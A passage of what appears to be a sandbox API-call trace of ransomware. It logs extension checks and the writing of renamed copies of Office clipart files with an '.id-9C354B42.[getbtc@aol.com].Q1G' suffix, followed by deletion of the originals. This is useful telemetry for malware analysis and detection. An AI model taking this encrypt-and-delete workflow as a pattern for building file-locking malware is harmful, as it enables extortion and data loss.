(lpString=".xlsx") returned 5 [0252.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.093] lstrlenW (lpString=".ppt") returned 4 [0252.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".zip") returned 4 [0252.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.093] lstrlenW (lpString=".rar") returned 4 [0252.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString=".bz2") returned 4 [0252.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString=".7z") returned 3 [0252.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".dbf") returned 4 [0252.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".1cd") returned 4 [0252.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.094] lstrlenW (lpString=".jpg") returned 4 [0252.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.094] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.094] lstrlenW (lpString="HH01759_.WMF") returned 12 [0252.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.388] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5414) returned 1 [0252.388] CloseHandle (hObject=0x1fc) returned 1 [0252.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0252.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.405] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.405] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.405] GetLastError () returned 0x0 [0252.405] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1526, lpOverlapped=0x0) returned 1 [0252.445] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1530, lpOverlapped=0x0) returned 1 [0252.446] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.446] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.446] SetEndOfFile (hFile=0x3a8) returned 1 [0252.446] CloseHandle (hObject=0x3a8) returned 1 [0252.446] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.446] SetEndOfFile (hFile=0x1fc) returned 1 [0252.448] CloseHandle (hObject=0x1fc) returned 1 [0252.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0252.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.449] lstrlenW (lpString=".doc") returned 4 [0252.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.449] lstrlenW (lpString=".docx") returned 5 [0252.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.449] lstrlenW (lpString=".pdf") returned 4 [0252.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.449] lstrlenW (lpString=".xls") returned 4 [0252.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.449] lstrlenW (lpString=".xlsx") returned 5 [0252.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.449] lstrlenW (lpString=".ppt") returned 4 [0252.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.449] lstrlenW (lpString=".zip") returned 4 [0252.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.449] lstrlenW (lpString=".rar") returned 4 [0252.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".bz2") returned 4 [0252.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".7z") returned 3 [0252.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString=".dbf") returned 4 [0252.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString=".1cd") returned 4 [0252.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString=".jpg") returned 4 [0252.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString=".doc") returned 4 [0252.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".docx") returned 5 [0252.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.450] lstrlenW (lpString=".pdf") returned 4 [0252.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".xls") returned 4 [0252.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.450] lstrlenW (lpString=".xlsx") returned 5 [0252.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.450] lstrlenW (lpString=".ppt") returned 4 [0252.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.450] lstrlenW (lpString=".zip") returned 4 [0252.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.450] lstrlenW (lpString=".rar") returned 4 [0252.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".bz2") returned 4 [0252.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".7z") returned 3 [0252.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.451] lstrlenW (lpString=".dbf") returned 4 [0252.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.451] lstrlenW (lpString=".1cd") returned 4 [0252.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0252.451] lstrlenW (lpString=".jpg") returned 4 [0252.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.451] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.451] lstrlenW (lpString="HH02282_.WMF") returned 12 [0252.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.451] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7932) returned 1 [0252.451] CloseHandle (hObject=0x1fc) returned 1 [0252.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0252.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.454] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.454] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.454] GetLastError () returned 0x0 [0252.454] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0252.613] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0252.613] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.613] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.614] SetEndOfFile (hFile=0x3a8) returned 1 [0252.614] CloseHandle (hObject=0x3a8) returned 1 [0252.614] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.614] SetEndOfFile (hFile=0x1fc) returned 1 [0252.616] CloseHandle (hObject=0x1fc) returned 1 [0252.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0252.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.665] lstrlenW (lpString=".doc") returned 4 [0252.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString=".docx") returned 5 [0252.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.666] lstrlenW (lpString=".pdf") returned 4 [0252.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString=".xls") returned 4 [0252.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.666] lstrlenW (lpString=".xlsx") returned 5 [0252.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.666] lstrlenW (lpString=".ppt") returned 4 [0252.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString=".zip") returned 4 [0252.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.666] lstrlenW (lpString=".rar") returned 4 [0252.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString=".bz2") returned 4 [0252.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString=".7z") returned 3 [0252.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString=".dbf") returned 4 [0252.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString=".1cd") returned 4 [0252.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString=".jpg") returned 4 [0252.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.666] lstrlenW (lpString=".doc") returned 4 [0252.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.666] lstrlenW (lpString=".docx") returned 5 [0252.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.666] lstrlenW (lpString=".pdf") returned 4 [0252.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString=".xls") returned 4 [0252.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.667] lstrlenW (lpString=".xlsx") returned 5 [0252.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.667] lstrlenW (lpString=".ppt") returned 4 [0252.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.667] lstrlenW (lpString=".zip") returned 4 [0252.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.667] lstrlenW (lpString=".rar") returned 4 [0252.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString=".bz2") returned 4 [0252.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString=".7z") returned 3 [0252.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.667] lstrlenW (lpString=".dbf") returned 4 [0252.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.667] lstrlenW (lpString=".1cd") returned 4 [0252.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0252.667] lstrlenW (lpString=".jpg") returned 4 [0252.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.667] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.667] lstrlenW (lpString="HH02313_.WMF") returned 12 [0252.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.668] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3082) returned 1 [0252.668] CloseHandle (hObject=0x1fc) returned 1 [0252.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0252.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.668] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.668] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.669] GetLastError () returned 0x0 [0252.669] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xc0a, lpOverlapped=0x0) returned 1 [0252.685] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xc10, lpOverlapped=0x0) returned 1 [0252.748] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.748] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.748] SetEndOfFile (hFile=0x3a8) returned 1 [0252.951] CloseHandle (hObject=0x3a8) returned 1 [0252.951] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.951] SetEndOfFile (hFile=0x1fc) returned 1 [0252.953] CloseHandle (hObject=0x1fc) returned 1 [0252.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0253.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.066] lstrlenW (lpString=".doc") returned 4 [0253.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString=".docx") returned 5 [0253.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.066] lstrlenW (lpString=".pdf") returned 4 [0253.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString=".xls") returned 4 [0253.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.066] lstrlenW (lpString=".xlsx") returned 5 [0253.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.066] lstrlenW (lpString=".ppt") returned 4 [0253.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.066] lstrlenW (lpString=".zip") returned 4 [0253.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.066] lstrlenW (lpString=".rar") returned 4 [0253.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString=".bz2") returned 4 [0253.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString=".7z") returned 3 [0253.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString=".dbf") returned 4 [0253.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString=".1cd") returned 4 [0253.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString=".jpg") returned 4 [0253.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString=".doc") returned 4 [0253.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString=".docx") returned 5 [0253.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.067] lstrlenW (lpString=".pdf") returned 4 [0253.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString=".xls") returned 4 [0253.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.067] lstrlenW (lpString=".xlsx") returned 5 [0253.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.067] lstrlenW (lpString=".ppt") returned 4 [0253.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.067] lstrlenW (lpString=".zip") returned 4 [0253.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.067] lstrlenW (lpString=".rar") returned 4 [0253.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.067] lstrlenW 